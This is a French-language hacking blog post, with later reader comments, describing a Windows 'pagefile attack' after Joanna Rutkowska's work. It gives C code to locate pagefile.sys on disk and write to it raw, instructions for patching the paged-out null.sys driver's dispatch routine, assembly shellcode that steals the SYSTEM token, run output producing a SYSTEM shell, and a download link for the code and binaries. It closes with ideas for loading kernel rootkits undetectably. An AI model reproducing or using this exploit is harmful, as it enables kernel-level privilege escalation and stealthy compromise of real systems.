Pagefile Attack

octobre 3rd, 2007 at 10:41 admin

« Encore un jour se lève sur la planète France
Et je sors doucement de mes rêves je rentre dans la danse
Comme toujours il est huit heures du soir j’ai dormi tout le jour
Je me suis encore couché trop tard je me suis rendu sourd encore. »
Saez, Fils de France

Cette magnifique chanson illustre bien mon état d’esprit actuel, déchiré en caleçon et complètement dans mon monde. J’écoute de la musique à faire peur aux chiens jusqu’a pas d’heure en l’occurrence du Dagoba. Pour que vous puissiez imaginer l’ambiancer mettez vous apwal, détendez vous, fermez toutes vos applis, prenez vos chocapicz halucinogès, lancer votre debugger stylé à la Matrix et ecoutez ca!

The ThingsWithin

Il fait noir, je suis devant des morceaux de C, d’ASM et des bouts d’hexa qui trainent, le genre de moment ou je suis coupé du monde, dans MON monde à faire ce que j’aime. La dernière fois j’avais dit que je tenterais de réalisé une pagefile attack, comprenez une tentative d’écriture dans le fichier de pagination en raw sur le disque ayant pour but de corrompre le comportement du noyau afin d’exécuter une action malveillante … hewww…

En fait il faut imaginez que tout votre système n’est pas résident en mémoire (la RAM) en permanence. L’OS maintient à jour une liste des pages les plus demandées par les programmes, si ils en existent qui sont peu ou jamais utilisées, le noyau peu très bien décidé de les mettre en swap sur disque. Sous Windows, la swap est représenté par le fichier pagefile.sys qui doit faire en taille un peu plus que votre RAM total. Grâce à ce processus de swapping L’OS arrive à économiser de la RAM en mettant sur le disque tout ce qu’il ne sert a rien, dans le cas ou un soft à besoin d’utiliser une page mémoire qui a été swappé, lors de l’accès en mémoire le kernel va générer un page-fault (int 0x0E), le memory manager sachant que cette page est swappé va l’in-swappé en RAM et le programme reprendra le cours normal de son exécution.

Avec une pagefile attack, on modifie directement dans le fichier de swap un code, puis on le fait in-swappé pour le lancer. Si on gère bien on peut exécuter un code que l’on contrôle avec un privilège ring0, ce qui permet de faire pas mal de choses … :]

Il est clair qu’écrire dans pagefile.sys ne se fait pas comme ca, déjà le noyau a ouvert le handle en interdisant le partage de celui ci. En gros un NtOpenFile sur pagefile.sys ne fonctionnera pas, ca parâit con mais cela suffit à bien nous emmerder. Joanna qui avait utilisé cette attaque à réussit à lire/écrire dans la pagefile.sys en effectuant une lecture en raw sur le disque puis en parcourant les structure NTFS. Après m’être intéressé à ce format j’ai faillit peter un plomb tellement c’est le bordel, j’allais commencer à coder un parser NTFS, juste au moment où un certain « martin » (que je remercie pour son aide) m’a fait par d’une technique permettant de retrouver la position sur le disque en terme de cluster d’un fichier.

Il existe un IOCTL, FSCTL_GET_RETRIEVAL_POINTERS, qui permet à partir d’un handle sur fichier d’obtenir la liste des LCN (Local Cluster Number) et VCN (Virtual Cluster Number) du fichier. Un LCN définit la position du fichier en fonction du nombre de clusters par rapport au débu du disque, les VCN représent le nombre de clusters contigu relativement à un LCN. Un fichier peut ainsi être découpé sur le disque et posséder plusieurs LCN composé d’un certains nombre de clusters. Juste pour info, l’IOCTL FSCTL_GET_RETRIEVAL_POINTERS envoie un IRP de type FILE_SYSTEM_CONTROL au driver NTFS qui le gère avec la fonction NtfsQueryRetrievalPointers.

En gros si on arrive à avoir un handle sur le fichier pagefile.sys, on pourra connaître sa position sur le disque. En me basant sur le fait que le kernel possède forcément un handle dessus, je me suis dit qu’il était possible de dupliquer le handle du pagefile.sys directemment depuis le process system. Cela requiert d’être admin sur la b0x, mais tant pis. Comme le handle dupliqué possède les mêmes droits que l’original, j’ai essayé de directement lire/écrite le fichier de pagination à partir du nouvel handle, BIM heqdsh0tz ! BSOD ! Bref je n’ai pas capté pourquoi mais ca ne marche pas …

C’est pour cela que si l’on veut écrire dans le pagefile.sys, la solution la plus simple est de directement écrire en raw sur le disque et qu’avant il faut savoir ou le fichier se trouve dessus. Ce qui est cool, c’est que l’envoie d’un IOCTL IOCTL FSCTL_GET_RETRIEVAL_POINTERS sur le handle dupliqué ne pose aucun problème, on récupère une liste de structures RETRIEVAL_POINTERS_BUFFER :

typedef struct RETRIEVAL_POINTERS_BUFFER {
  DWORD ExtentCount;
  LARGE_INTEGER StartingVcn;
  struct {
    LARGE_INTEGER NextVcn;
    LARGE_INTEGER Lcn;
  } Extents[1];
} RETRIEVAL_POINTERS_BUFFER,
 *PRETRIEVAL_POINTERS_BUFFER;

Avec cette liste, on à notre disposition les emplacements du pagefile sur le disque. Dans le cas ou tout les clusters du fichier de pagination sont contigu on obtient qu’un LCN dont VCN correspond au nombre de clusters occupés par pagefile.sys. Le code est assez simple :

void GetPageFileLCN(HANDLE hPageFile)
{
	PUCHAR pBuff;
	ULONG i, Status;
	IO_STATUS_BLOCK IoBlock;

	STARTING_VCN_INPUT_BUFFER VCN={0};
	RETRIEVAL_POINTERS_BUFFER Buff={0};

	pBuff=(PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x10000);
	Status=ZwFsControlFile(hPageFile,
						NULL,
						NULL,
						NULL,
						&IoBlock,
						FSCTL_GET_RETRIEVAL_POINTERS,
						&VCN,
						sizeof(STARTING_VCN_INPUT_BUFFER),
						&Buff,
						sizeof(RETRIEVAL_POINTERS_BUFFER));
	if(!NT_SUCCESS(Status))
	{
		printf("Error with NtFsControlFile : 0x%xn", Status);
		goto end;
	}

	printf("ExtentCount : %dn", Buff.ExtentCount);
	for(i=0; i
	{

		printf("LCN : 0x%xn", Buff.Extents[i].Lcn);
		printf("VCN : 0x%xn", Buff.Extents[i].NextVcn);

	}

	end:

	HeapFree(GetProcessHeap(), 0, pBuff);
}

Ce qui donne à l’exécution :

C:\\Documents and Settings\\fu\\Bureau>PageFile.exe
PageFile LCN By IvanlefOu
Be M4DZ!!
Total Handles : 3414

\\pagefile.sys
Got pagefile.sys handle : 1956
ExtentCount : 1
LCN : 0x846e33
VCN : 0x773a

Maintenant que nous possédons la position du pagefile.sys sur le disque on peut enfin lire et écrire dedans sans problème. Pour cela on ouvre un handle sur le \device\HarddiskVolume1 avec ce code :

hDisk=CreateFile("\\\\.\\C:",
					GENERIC_READ|GENERIC_WRITE,
					FILE_SHARE_READ|FILE_SHARE_WRITE,
					NULL,
					OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL,
					NULL);
	if(hDisk==INVALID_HANDLE_VALUE)
	{
		printf("Error with CreateFile : %dn", GetLastError());
		goto end;
	}

Puis connaissant le LCN du pagefile.sys on le multiplie par le nombre de bytes par clusters pour trouver à quel offet lire sur le disque, pareil pour l’écriture. Notre attaque peut enfin commencer. En gros, pour la réussir on doit résoudre les problèmes suivants :

1) Que modifier dans le pagefile.sys
2) Comment trouver le code swappé qu’on veut modifier et par quoi le remplacer ?
3) Comment faire en sorte que le code soit appelé depuis l’userland ?
4) Quel genre de code faut t’il exécuter ?
5) chocapicz vs miel pops, le dilemme ..

1)
Comme l’a fait Joanna Rutkowska, on va modifier le code d’un driver swappé pour faire en sorte qu’il appel notre shellcode userland que l’on contrôle. Il nous faut donc que le code que nous alons modifier respecte deux choses. La première qu’il soit dans une section pageagle d’un des drivers de l’OS, certains codes ne pouvant être swappés sur le disque. La seconde que le code ne soit pas appelé régulièrement, en effet une fois que le code sera de nouveau résident en mémoire on ne pourra le corriger, si jamais il est appelé d’une quelconque manière dans le contexte d’un autre process ou que notre shellcode userland ne soit pas à l’emplacement prévue, on risque de se prendre un joli BSOD.

Je ne me suis fatigué j’ai reprit le même driver code que Joanna, celui du driver null.sys. Si on regarde un peu t les flags des sections du driver on voit :

->Section Header Table
   1. item:
    Name:                  .rdata
    VirtualSize:           0x0000005D
    VirtualAddress:        0x00000300
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000300
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x48000040
    (INITIALIZED_DATA, NOT_PAGED, READ)

   2. item:
    Name:                  .data
    VirtualSize:           0x00000074
    VirtualAddress:        0x00000380
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000380
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0xC8000040
    (INITIALIZED_DATA, NOT_PAGED, READ, WRITE)

   3. item:
    Name:                  PAGE
    VirtualSize:           0x00000106
    VirtualAddress:        0x00000400
    SizeOfRawData:         0x00000180
    PointerToRawData:      0x00000400
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x60000020
    (CODE, EXECUTE, READ)

   4. item:
    Name:                  INIT
    VirtualSize:           0x00000162
    VirtualAddress:        0x00000580
    SizeOfRawData:         0x00000180
    PointerToRawData:      0x00000580
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0xE2000020
    (CODE, DISCARDABLE, EXECUTE, READ, WRITE)

   5. item:
    Name:                  .rsrc
    VirtualSize:           0x000003C8
    VirtualAddress:        0x00000700
    SizeOfRawData:         0x00000400
    PointerToRawData:      0x00000700
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x42000040
    (INITIALIZED_DATA, DISCARDABLE, READ)

   6. item:
    Name:                  .reloc
    VirtualSize:           0x0000003A
    VirtualAddress:        0x00000B00
    SizeOfRawData:         0x00000080
    PointerToRawData:      0x00000B00
    PointerToRelocations:  0x00000000
    PointerToLinenumbers:  0x00000000
    NumberOfRelocations:   0x0000
    NumberOfLinenumbers:   0x0000
    Characteristics:       0x42000040
    (INITIALIZED_DATA, DISCARDABLE, READ)

La section PAGE qui contient le code du driver n’a pas d’attribut NOT_PAGED, on peut dire qu’il y a de forte chance qu’une partie du code se fasse swapper si elle n’est jamais utilisée. De plus si on disass le début de la fonction DriverEntry on peut voir :

push    ebp
mov     ebp, esp
sub     esp, 0Ch
push    esi
push    offset _DriverEntry@8 ; AddressWithinSection
call    ds:__imp__MmPageEntireDriver@4 ; MmPageEntireDriver(x)

Comme vous le devinez la fonction MmPageEntireDriver va faire en sorte que tout le driver soit pageable et ca, ca n’a pas de prix :] On peut être donc sur que le code du driver sera swappé tant qu’il n’est jamais utilisé.

2)
La partie la plus difficile. Comme nous ne connaissons pas la structure du pagefile.sys, il nous est impossible de savoir à quel endroit se trouve quoi. Le kernel maintient une liste de chunks repérant ce qui est swappé. Vous imaginez bien que cette liste ne peut se retrouver sur le disque. On va donc devoir y aller par scan, mais pas de n’importe quelle manière.

Imaginez, vous avez un tableau de n=20 bytes dans lequel vous devez rechercher l’indice d’un pattern de m=3 bytes. Le premier algo qui vient à l’esprit est du genre :

pour i de 1 à m-n faire
	pour j de 1 à m faire
		si n[i+j]!=m[j]
			continuer;
		si j=m
			retourner i;

Ce qui nous donne une complexité temporelle de m*n itérations. Dans le cas ou n vaut 500 000 000 octets (la taille du pagefile) et m 8 octets, je peux vous dire que ca prend du temps de scanner pour localiser le code à modifier.

Ce qu’il nous fait c’est un algo de recherche de pattern optimisé. Après quelques recherche je suis tombé sur l’algorithme de recherche de pattern de Boyer-Moore qui à l’avantage de fonctionner dans le meilleur des cas avec une complexité de n/m rendant le scan du pagefile beaucoup plus rapide.

J’ai trouvé une implémentation de cette algo dans les libs du complilo ASM masm32, je l’ai compilé pour m’en faire un joli .lib que j’inclu dans mon code.

Maintenant qu’on sait comment scanner le pagefile de manière efficace, on va pouvoir rechercher un code du driver null.sys. Cependant pour que notre shellcode soit exécuté un jour on doit pouvoir depuis l’userland se débrouiller pour que le driver exécute une certaine fonction ». En fait le driver null.sys crée un device \device\null, ce qui signifie qu’il peut accéder des IRP venant de l’extérieur. Ces IRP sont gérées à travers les MajorFunctions du driver :

kd> !devobj \\device\\null
Device object (80d42f18) is for:
 Null DriverNull DriverObject 80d424b0
Current Irp 00000000 RefCount 0 Type 00000015 Flags 00000040
Dacl e128a33c DevExt 00000000 DevObjExt 80d42fd0
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \\Driver\\Null 3
Driver object (80d424b0) is for:
 DriverNull
Driver Extension List: (id , addr)

Device Object list:
80d42f18  

DriverEntry:   fdd9c59a	Null!DriverEntry
DriverStartIo: 00000000
DriverUnload:  fdd9c438	Null!NlsUnload

Dispatch routines:
[00] IRP_MJ_CREATE                      fdd9c46e	Null!NlsUnload+0x36
[01] IRP_MJ_CREATE_NAMED_PIPE           804fa88e	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fdd9c46e	Null!NlsUnload+0x36
[03] IRP_MJ_READ                        fdd9c46e	Null!NlsUnload+0x36
[04] IRP_MJ_WRITE                       fdd9c46e	Null!NlsUnload+0x36
[05] IRP_MJ_QUERY_INFORMATION           fdd9c46e	Null!NlsUnload+0x36
[06] IRP_MJ_SET_INFORMATION             804fa88e	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804fa88e	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804fa88e	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               804fa88e	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804fa88e	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804fa88e	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804fa88e	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804fa88e	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              804fa88e	nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804fa88e	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    804fa88e	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                fdd9c46e	Null!NlsUnload+0x36
[12] IRP_MJ_CLEANUP                     804fa88e	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804fa88e	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804fa88e	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804fa88e	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       804fa88e	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              804fa88e	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               804fa88e	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804fa88e	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804fa88e	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         804fa88e	nt!IopInvalidDeviceRequest

Fast I/O routines:
Cannot read _FAST_IO_DISPATCH at fdd9c380

Si on demande l’ouverture d’un handle sur le device \device\null, alors un IRP de type IRM_ML_CREATE sera envoyé au driver null.sys et sera handlé par la MajorFunction se trouvant à Null!NlsUnload+0×36 (ouais les symbols suxx un peu là). Remarquez que c’est la même fonction gère les IRP de type, IRP_MJ_CREATE, IRP_MJ_CLOSE, IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION et IRP_MJ_LOCK_CONTROL.

On va appeler la fonction en Null!NlsUnload+0×36 DispatchComplete pour se simplifier la vie. Le but de l’attaque est de modifié cette fonction afin quelle fasse appel à un shellcode userland. Cependant, il ne faut pas modifier la fonction de n’importe quelle façon, ce qu’on veut c’est un jmp ou un call sur une zone mémoire que l’on contrôle, rien de plus. Afin que l’IRP soit parfait handler, on va modifier l’épilogue de la fonction. Avant l’attaque l’épilogue ressemble à cela :

PAGE:000104F4 8B 71 18                    mov esi, [ecx+18h]
PAGE:000104F7 32 D2                       xor dl, dl
PAGE:000104F9 FF 15 08 03 01 00           call ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)
PAGE:000104FF 8B C6                       mov eax, esi
PAGE:00010501 5E                          pop esi
PAGE:00010502 5B                          pop ebx

PAGE:00010503 C2 08 00                    retn 8

On va le modifier de sorte à avoir à la place du « retn 8″ un « push 0 ;ret » ce qui fera sauter notre fonction à l’adresse 0×00000000;

3)
Pour trigger cette fonction, il suffit de demander l’ouverture d’un handle sur le device \device\null. Le code donne tout simplement cela :

RtlInitUnicodeString(&FileSystemName, L"\\\\Device\\\\NULL");
InitializeObjectAttributes(&ObjectAttributes, &FileSystemName, OBJ_CASE_INSENSITIVE, NULL, NULL);

// Try to open the device
Status=ZwCreateFile(&hDevice,
				SYNCHRONIZE,
				&ObjectAttributes,
				&IoStatus,
				NULL,
				0,
				0,
				0,
				0,
				NULL,
				0);
if(!NT_SUCCESS(Status))
{
	printf("Error with ZwCreateFile : 0x%xn", Status);

}

Je précise juste que la fermeture du handle fera aussi appel à la fonction qui gère les IRP de type IRP_MJ_CLOSE du driver null.sys donc avant de fermer le handle sur le hDevice il faut que la redirection de code soit toujours valide, sinon bommbigbadaboombig!

4)
Bon résumons un peu, on sait que nous allons modifier le code du driver null.sys qui se trouver sur le disque dans le fichier pagefile.sys. Connaissant l’emplacement sur le disque du pagefile.sys, on effetue un scan à la recherche d’un pattern de la fonction qui gère les IRP du driver null.sys. Lorsque qu’on à trouver l’emplacement de cette fonction sur le disque, on modifie son epilogue afin qu’il transfert l’exécution vers un code userland que nous contrôlons … ouf !

Bon maintenant, qu’on est capable d’exécuter un code avec des privilèges ring0, qu’est ce qu’on va faire ? Bon je ne me suis pas vraiment foulé, j’ai codé un petit shellcode qui modifie le token du process courant par celui du process system. Ce genre de truc sert pas mal pour les exploits kernel ;) :

__asm
{
	nop
	nop
	mov eax, fs:[0x124] //current ETHREAD
	mov eax, dword ptr [eax+0x220] //current EPROCESS

	mov ecx, eax //ecx=current process 

	mov eax, dword ptr [eax+0x88] //EPROCESS -> ActiveProcessLinks  -> Flink

_LIST_ENTRY */

	mov eax, dword ptr [eax]
	cmp dword ptr [eax-4], 0x4  // if we have system process PID
	jne label //if not goto next EPROCESS

	//else
	mov edx, dword ptr [eax+0x40] //0xC8-0x88 get the system process token
	mov dword ptr [ecx+0xC8], edx

	retn 8
}

Quand on triggera la fonction qui gère les IRP celle-ci avant de quitter va appeler notre shellcode pour modifier le token de notre process puis effectura un « retn 8″ comme si rien ne s’était passé.

Voiçi les commandes réalisant l’attaque :

C:\\Documents and Settings\\fu\\Bureau>PageFile.exe
PageFile LCN By IvanlefOu
Be M4DZ!!
Total Handles : 3566

\\pagefile.sys
Got pagefile.sys handle : 1956
ExtentCount : 1
LCN : 0x84e56d
VCN : 0x773a

C:\\Documents and Settings\\fu\\Bureau>PageFileAttack.exe
Pagefile Attack
By Ivanlef0u
Be M4DZ!
Usage is PageFileAttack
 

C:\\Documents and Settings\\fu\\Bureau>PageFileAttack.exe 0x84e56d 0x773a
Pagefile Attack
By Ivanlef0u
Be M4DZ!
Offet : 0x855ca7000
Found Pattern at VCN : 1434, Addr : 0x856241000, Offset : 0x480
[...]
THIZ IZ SPARTAPZ!!

Après que le token est été modifié le process lancer un cmd.exe qui tourne avec le token SYSTEM. Pour être clair je n’est pas la prétention de dire que l’attaque fonctionne à coup sûr au premier essais. Chez moi je l’ai testé sous VM avec 200 Mo de ram et un fichier de swap de 300 Mo. En fait avant le scan je demande au process d’allouer une bonne partie de la mémoire virtuelle restante avec le code suivant :

void FillMem()
{
	MEMORYSTATUSEX statex;
	PVOID tapz;
	statex.dwLength=sizeof(statex);

	GlobalMemoryStatusEx(&statex);

	printf ("%ld percent of memory is in use.n", statex.dwMemoryLoad);

	printf ("There are 0x%I64x free bytes of virtual memory.n", statex.ullAvailVirtual);

	tapz=VirtualAlloc(NULL, statex.ullAvailVirtual/20, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
	if(!tapz)
	{
		printf("Error with VirtualAlloc : %dn", GetLastError());
		return;
	}
	memset(tapz, 1, statex.ullAvailVirtual/20);
}

Je ne garantis rien, c’est une attaque difficile à réaliser, alors il faut parfois bidouiller un peu le code pour y arriver. Si vous trouvez un moyen fiable prévenez-moi.

Enfin, je voudrais préciser une dernière chose. Pour l’instant l’attaque marche du moment que l’on est admin sur la b0x. Admettons que nos connaissions la position du pagefile.sys sur le disque (donc pas besoin de dupliquer le handle du process system et de send un IOCTL pour récup sa pos sur le hd). J’ai essayé de lancer l’attaque en tant que simple utilisateur, manque de chance les gars de MS ont designé le kernel de sorte qu’il soit impossible à un token non-admin de lire et d’écrire en raw sur les devices FILE_DEVICE_DISK et FILE_DEVICE_CD_ROM. Oui je sais c’est dommage, mais si vous arrivez à trouvez un moyen de contourner se problème alors vous venez de gagnez un 0day de type local privilege escalation :]]

Pour finir, si on cherche à allez plus loin. On pourrait, et je dis bien POURRAIT imaginez charger un code dans le kernel de cette façon. On copirait dans le pagefile les instructions et les ferait exécuter en mémoire de la mème manière que plus haut. A partir de là on peut très bien imaginer charger un rootkit kernel depuis le fichier de swap, c’est difficile, il y a plein de problèmes à prendre en compte mais imho c’est faisable. Si jamais ce genre de technique marche on possède un moyen quasi indétectable de chargement de code dans le noyau. Pour les drivers il existe en effet une routine appelé PsSetLoadImageNotifyRoutine qui permet de monitorer tout les chargements de modules, que ce soit des .dll dans un process ou des .sys dans le kernel. Il existe des API comme NtSystemDebugControl qui permettent d’écrire direct dans la mem kernel mais un simple HIDS sera capable de détecter l’intrution, pareil pour le \device\PhysicalMemory.

Bref bref, plein de possibilités s’offre à nous, reste à les mettre en oeuvre.

Voici les codes+binaires :
http://ivanlef0u.fr/repo/PagefileAttack.rar

Joanna the source of Inspiration ;)

ref:
http://support.microsoft.com/?scid=kb%3Ben-us%3B99768&x=17&y=14
https://msdn2.microsoft.com/en-us/library/aa364572.aspx
http://theinvisiblethings.blogspot.com/2006/10/vista-rc2-vs-pagefile-attack-and-some.html
http://invisiblethings.org/papers/joanna%20rutkowska%20-%20subverting%20vista%20kernel.ppt

Entry Filed under: Non classé

3 Comments

  • 1. OSfight  |  juin 4th, 2010 at 10:46

    firstly thank you so much for provide the demo.

    in windows 2003 server SP2 and XP SP3?the demo could not execute successfully, because the

    shellcode did not work?the Privilege of CMD.exe is not SYSTEM, only administrator)

    My question is: what’s the necessary condition of successful execution ?
    Only in Vista SP0, it could work well ?


  • 2. admin  |  juin 6th, 2010 at 21:25

    Yo :)

    Actually you need one important thing : the null.sys driver has to be swapped out on the disk and if you have a lot of DRAM it’s not sure. Expanding the process’ working set is not enough. So you should try to reduce your DRAM amount and test again.


  • 3. Hj  |  octobre 11th, 2012 at 15:15

    I am interested in the codes !
    Can u give me the password?
    Oh,My poor English..


Trackback this post


Calendar

mars 2020
L Ma Me J V S D
« fév    
 1
2345678
9101112131415
16171819202122
23242526272829
3031  

Most Recent Posts